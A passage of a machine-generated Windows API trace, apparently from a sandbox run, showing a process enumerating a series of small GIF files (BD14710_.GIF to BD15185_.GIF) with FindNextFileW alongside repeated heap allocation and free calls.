ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14710_.GIF", cAlternateFileName="")) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.221] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.221] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f1d0 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104fde0 [0069.221] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.221] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xa97, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14711_.GIF", cAlternateFileName="")) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.221] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.221] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f1f0 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104fee8 [0069.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.222] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14768_.GIF", cAlternateFileName="")) returned 1 [0069.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f210 [0069.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104fff0 [0069.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.222] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14769_.GIF", cAlternateFileName="")) returned 1 [0069.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f230 [0069.223] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10500f8 [0069.223] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.223] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14800_.GIF", cAlternateFileName="")) returned 1 [0069.223] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.223] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.223] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.223] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.223] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.223] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f250 [0069.223] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050200 [0069.223] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.223] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14801_.GIF", cAlternateFileName="")) returned 1 [0069.223] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.223] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.223] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f270 [0069.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050308 [0069.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.224] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14844_.GIF", cAlternateFileName="")) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f290 [0069.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050410 [0069.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.224] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14845_.GIF", cAlternateFileName="")) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f2b0 [0069.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050518 [0069.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.225] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14882_.GIF", cAlternateFileName="")) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f2d0 [0069.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050620 [0069.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.225] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14883_.GIF", cAlternateFileName="")) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f2f0 [0069.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050728 [0069.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.226] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14996_.GIF", cAlternateFileName="")) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f310 [0069.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050830 [0069.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3380) returned 0x1055bc0 [0069.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.227] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.227] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14997_.GIF", cAlternateFileName="")) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.227] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.227] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f330 [0069.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050938 [0069.227] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.227] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15034_.GIF", cAlternateFileName="")) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.227] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.227] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f350 [0069.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050a40 [0069.227] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.227] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15035_.GIF", cAlternateFileName="")) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.228] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.228] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f370 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050b48 [0069.228] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.228] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be95800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9be95800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15072_.GIF", cAlternateFileName="")) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.228] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.228] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f390 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050c50 [0069.228] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.228] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1a8500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9d1a8500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15073_.GIF", cAlternateFileName="")) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f3b0 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050d58 [0069.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.229] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15155_.GIF", cAlternateFileName="")) returned 1 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f3d0 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050e60 [0069.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.229] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15156_.GIF", cAlternateFileName="")) returned 1 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.230] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.230] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f3f0 [0069.230] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1050f68 [0069.230] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.230] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15184_.GIF", cAlternateFileName="")) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.230] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.230] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.230] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f410 [0069.230] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1051070 [0069.231] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.231] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15185_.GIF", cAlternateFileName="")) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.231] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.231] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.231] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f430 